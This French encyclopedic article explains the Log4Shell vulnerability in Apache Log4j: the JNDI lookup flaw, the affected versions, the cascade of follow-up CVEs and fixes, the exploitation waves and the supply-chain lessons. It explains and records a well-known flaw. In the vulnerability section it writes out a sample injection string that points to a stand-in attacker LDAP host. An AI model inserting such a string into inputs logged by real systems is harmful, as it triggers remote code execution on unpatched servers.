Log4Shell (Apache Log4j CVE-2021-44228)

Le 9 décembre 2021, un exploit de démonstration visant une faille d'Apache Log4j 2 — l'une des bibliothèques de journalisation les plus utilisées de l'écosystème Java — est apparu publiquement. En quelques heures, Internet était massivement balayé et exploité. La vulnérabilité, CVE-2021-44228, surnommée Log4Shell, a obtenu un CVSS parfait de 10.0 et est largement considérée comme l'une des vulnérabilités logicielles les plus graves et les plus étendues jamais divulguées.

La vulnérabilité

Log4j prend en charge une fonctionnalité appelée recherches JNDI (Java Naming and Directory Interface), permettant aux messages de journal de contenir des références résolues à l'exécution. La faille tenait au fait qu'un attaquant pouvait placer une chaîne telle que ${jndi:ldap://attacker.com/a} dans n'importe quel champ journalisé par une application — un nom d'utilisateur, un en-tête User-Agent, un message de discussion, un nom d'appareil. Lorsque Log4j traitait cette chaîne, il contactait le serveur LDAP contrôlé par l'attaquant, téléchargeait une classe Java malveillante et l'exécutait. Le résultat était une exécution de code à distance non authentifiée à partir d'une simple chaîne journalisée.

Toutes les versions de Log4j 2, de la 2.0-beta9 jusqu'à la 2.14.1 incluse, étaient vulnérables. La faille a été découverte par Chen Zhaojun, de l'équipe de sécurité d'Alibaba Cloud, qui l'a signalée en privé à Apache le 24 novembre 2021.

Pourquoi elle était si dangereuse

Trois facteurs combinés ont rendu Log4Shell exceptionnelle :

1. L'omniprésence. Log4j est intégré dans d'innombrables applications, frameworks et produits d'entreprise Java — souvent en tant que dépendance transitive profonde dont les organisations ignoraient l'existence. Les produits affectés allaient de Minecraft et Apple iCloud à VMware, Cisco, IBM et aux services Amazon.
2. La trivialité. L'exploitation ne nécessitait aucune authentification ni outil particulier — une simple chaîne collée dans n'importe quelle entrée journalisée.
3. L'invisibilité de la dépendance. De nombreuses organisations ne pouvaient même pas déterminer si elles étaient vulnérables, car Log4j était enfoui dans des logiciels tiers qu'elles ne pouvaient pas inspecter.

La chaîne de correctifs

Le correctif initial s'est révélé incomplet, produisant une cascade de CVE successives :

• CVE-2021-45046 (14 déc.) : le correctif 2.15.0 était incomplet dans les configurations non par défaut, permettant RCE/DoS. Corrigée dans la 2.16.0, qui a désactivé JNDI par défaut.
• CVE-2021-45105 (17 déc.) : déni de service via des recherches récursives non contrôlées. Corrigée dans la 2.17.0.
• CVE-2021-44832 (28 déc.) : RCE via une configuration de l'appender JDBC contrôlée par l'attaquant. Corrigée dans la 2.17.1.

Réponse et exploitation

L'exploitation a été immédiate et massive. Cryptomineurs, botnets Mirai et Muhstik, opérateurs de rançongiciels et groupes étatiques (dont on a confirmé par la suite qu'ils incluaient des acteurs iraniens et chinois) ont tous militarisé la faille. Le 18 décembre 2021, la CISA a émis la directive d'urgence 22-02, ordonnant aux agences civiles fédérales américaines de remédier d'ici le 24 décembre.

Pourquoi c'est important

En juillet 2022, le Cyber Safety Review Board américain a publié son tout premier rapport sur Log4Shell, le qualifiant de « vulnérabilité endémique » qui persisterait dans les systèmes non corrigés pendant jusqu'à une décennie. Log4Shell est devenue l'illustration emblématique du risque lié à la chaîne d'approvisionnement des logiciels open source : une unique bibliothèque maintenue par des bénévoles, intégrée de façon invisible dans l'ensemble de la pile logicielle mondiale, est devenue du jour au lendemain un passe-partout universel. Elle a accéléré l'adoption des nomenclatures logicielles (SBOM), des obligations d'analyse des dépendances et de l'effort plus large — formalisé dans le décret américain 14028 — visant à traiter la sécurité des dépendances open source comme une infrastructure critique.